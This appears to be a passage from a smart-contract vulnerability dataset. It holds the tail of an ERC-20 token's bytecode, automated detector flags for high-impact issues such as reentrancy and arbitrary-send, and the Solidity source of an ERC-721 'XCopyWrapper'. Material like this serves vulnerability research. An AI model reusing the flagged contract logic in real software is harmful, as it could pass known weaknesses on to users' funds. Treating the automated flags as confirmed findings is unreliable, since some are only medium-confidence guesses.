3ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d385750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e6757601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d7e611828565b73ffffffffffffffffffffffffffffffffffffffff161480611df45750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ddc611828565b73ffffffffffffffffffffffffffffffffffffffff16145b611e66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f5857601454811115611eaa57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f4e5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5757600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120035750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120595750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120715750601360179054906101000a900460ff165b156121095742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120c157600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061211430610ac5565b9050601360159054906101000a900460ff161580156121815750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121995750601360169054906101000a900460ff165b156121c1576121a7816124c5565b600047905060008111156121bf576121be47612346565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061226a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561227457600090505b6122808484848461287f565b50505050565b6000838311158290612333576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f85780820151818401526020810190506122dd565b50505050905090810190601f1680156123255780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61239660028461283590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123c1573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61241260028461283590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561243d573d6000803e3d6000fd5b5050565b6000600a5482111561249e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613ca7602a913960400191505060405180910390fd5b60006124a8612ad6565b90506124bd818461283590919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124fa57600080fd5b506040519080825280602002602001820160405280156125295781602001602082028036833780820191505090505b509050308160008151811061253a57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125dc57600080fd5b505afa1580156125f0573d6000803e3d6000fd5b505050506040513d602081101561260657600080fd5b81019080805190602001909291905050508160018151811061262457fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268b30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611830565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274f578082015181840152602081019050612734565b505050509050019650505050505050600060405180830381600087803b15801561277857600080fd5b505af115801561278c573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127c2576000905061282f565b60008284029050828482816127d357fe5b041461282a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d166021913960400191505060405180910390fd5b809150505b92915050565b600061287783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b01565b905092915050565b8061288d5761288c612bc7565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129305750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561294557612940848484612c0a565b612ac2565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e85750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129fd576129f8848484612e6a565b612ac1565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a9f5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ab457612aaf8484846130ca565b612ac0565b612abf8484846133bf565b5b5b5b80612ad057612acf61358a565b5b50505050565b6000806000612ae361359e565b91509150612afa818361283590919063ffffffff16565b9250505090565b60008083118290612bad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b72578082015181840152602081019050612b57565b50505050905090810190601f168015612b9f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb957fe5b049050809150509392505050565b6000600c54148015612bdb57506000600d54145b15612be557612c08565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c1c8761384b565b955095509550955095509550612c7a87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138b390919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138b390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612da485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612df081613985565b612dfa8483613b2a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7c8761384b565b955095509550955095509550612eda86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138b390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6f83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fd90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061300485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061305081613985565b61305a8483613b2a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130dc8761384b565b95509550955095509550955061313a87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138b390919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138b390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fd90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061334581613985565b61334f8483613b2a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133d18761384b565b95509550955095509550955061342f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138b390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134c485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351081613985565b61351a8483613b2a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a54905060006801236efcbcbb340000905060005b600980549050811015613800578260026000600984815481106135d857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136bf575081600360006009848154811061365757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136dd57600a546801236efcbcbb34000094509450505050613847565b61376660026000600984815481106136f157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138b390919063ffffffff16565b92506137f1600360006009848154811061377c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138b390919063ffffffff16565b915080806001019150506135b9565b5061381f6801236efcbcbb340000600a5461283590919063ffffffff16565b82101561383e57600a546801236efcbcbb340000935093505050613847565b81819350935050505b9091565b60008060008060008060008060006138688a600c54600d54613b64565b9250925092506000613878612ad6565b9050600080600061388b8e878787613bfa565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612286565b905092915050565b60008082840190508381101561397b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061398f612ad6565b905060006139a682846127af90919063ffffffff16565b90506139fa81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b2557613ae183600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fd90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3f82600a546138b390919063ffffffff16565b600a81905550613b5a81600b546138fd90919063ffffffff16565b600b819055505050565b600080600080613b906064613b82888a6127af90919063ffffffff16565b61283590919063ffffffff16565b90506000613bba6064613bac888b6127af90919063ffffffff16565b61283590919063ffffffff16565b90506000613be382613bd5858c6138b390919063ffffffff16565b6138b390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c1385896127af90919063ffffffff16565b90506000613c2a86896127af90919063ffffffff16565b90506000613c4187896127af90919063ffffffff16565b90506000613c6a82613c5c85876138b390919063ffffffff16565b6138b390919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f20616464726573733231447261636f20496e75207c20742e6d652f4272616e644e6577447261636f496e75536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220a683a66f413368d0da9b89d1a2f51f841bd780c2ece7e53637a4f6efbc6644a564736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,537 |
0x481c90aa3c44a28ec90ebbe6b6e469621d7fd5c1
|
/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
pragma solidity 0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface XCopyOriginal {
function transfer(address, uint256) external returns (uint256);
function transferFrom(address, address, uint256) external returns (uint256);
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract XCopyWrapper is Context, ERC165, IERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
uint256 public totalSupply;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// XCopy Original Tokens
XCopyOriginal[] public _originals;
// Token URIs
string[] private _tokenURIs;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. Additionally takes a tokenURI and a reference to the wrapped contract
*/
constructor(string memory name_, string memory symbol_, string[] memory tokenURIs_, XCopyOriginal[] memory originals_) {
_name = name_;
_symbol = symbol_;
_tokenURIs = tokenURIs_;
_originals = originals_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
return _tokenURIs[tokenId];
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = XCopyWrapper.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function wrap(XCopyOriginal toWrap) external {
uint256 tokenId = 0;
for (tokenId; tokenId < _originals.length; tokenId++) {
if (toWrap == _originals[tokenId]) break;
}
require(tokenId < _originals.length, "Not in known / configured originals");
toWrap.transferFrom(msg.sender, address(this), 1);
_mint(msg.sender, tokenId);
totalSupply += 1;
}
function unwrap(uint256 tokenId) external {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: unwrap caller is not owner nor approved");
_burn(tokenId);
_originals[tokenId].transfer(msg.sender, 1);
totalSupply -= 1;
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = XCopyWrapper.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = XCopyWrapper.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(XCopyWrapper.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(XCopyWrapper.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (isContract(to)) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806342842e0e116100a2578063a22cb46511610071578063a22cb465146102ca578063b88d4fde146102e6578063c87b56dd14610302578063de0e9a3e14610332578063e985e9c51461034e5761010b565b806342842e0e146102305780636352211e1461024c57806370a082311461027c57806395d89b41146102ac5761010b565b8063095ea7b3116100de578063095ea7b3146101aa57806318160ddd146101c657806323b872dd146101e4578063257fea6a146102005761010b565b806301ffc9a714610110578063023276f01461014057806306fdde031461015c578063081812fc1461017a575b600080fd5b61012a6004803603810190610125919061195b565b61037e565b60405161013791906119a3565b60405180910390f35b61015a60048036038101906101559190611a2e565b610460565b005b6101646105eb565b6040516101719190611af4565b60405180910390f35b610194600480360381019061018f9190611b4c565b61067d565b6040516101a19190611b88565b60405180910390f35b6101c460048036038101906101bf9190611bcf565b610702565b005b6101ce61081a565b6040516101db9190611c1e565b60405180910390f35b6101fe60048036038101906101f99190611c39565b610820565b005b61021a60048036038101906102159190611b4c565b610880565b6040516102279190611ceb565b60405180910390f35b61024a60048036038101906102459190611c39565b6108bf565b005b61026660048036038101906102619190611b4c565b6108df565b6040516102739190611b88565b60405180910390f35b61029660048036038101906102919190611d06565b610991565b6040516102a39190611c1e565b60405180910390f35b6102b4610a49565b6040516102c19190611af4565b60405180910390f35b6102e460048036038101906102df9190611d5f565b610adb565b005b61030060048036038101906102fb9190611ed4565b610af1565b005b61031c60048036038101906103179190611b4c565b610b53565b6040516103299190611af4565b60405180910390f35b61034c60048036038101906103479190611b4c565b610c03565b005b61036860048036038101906103639190611f57565b610d30565b60405161037591906119a3565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffff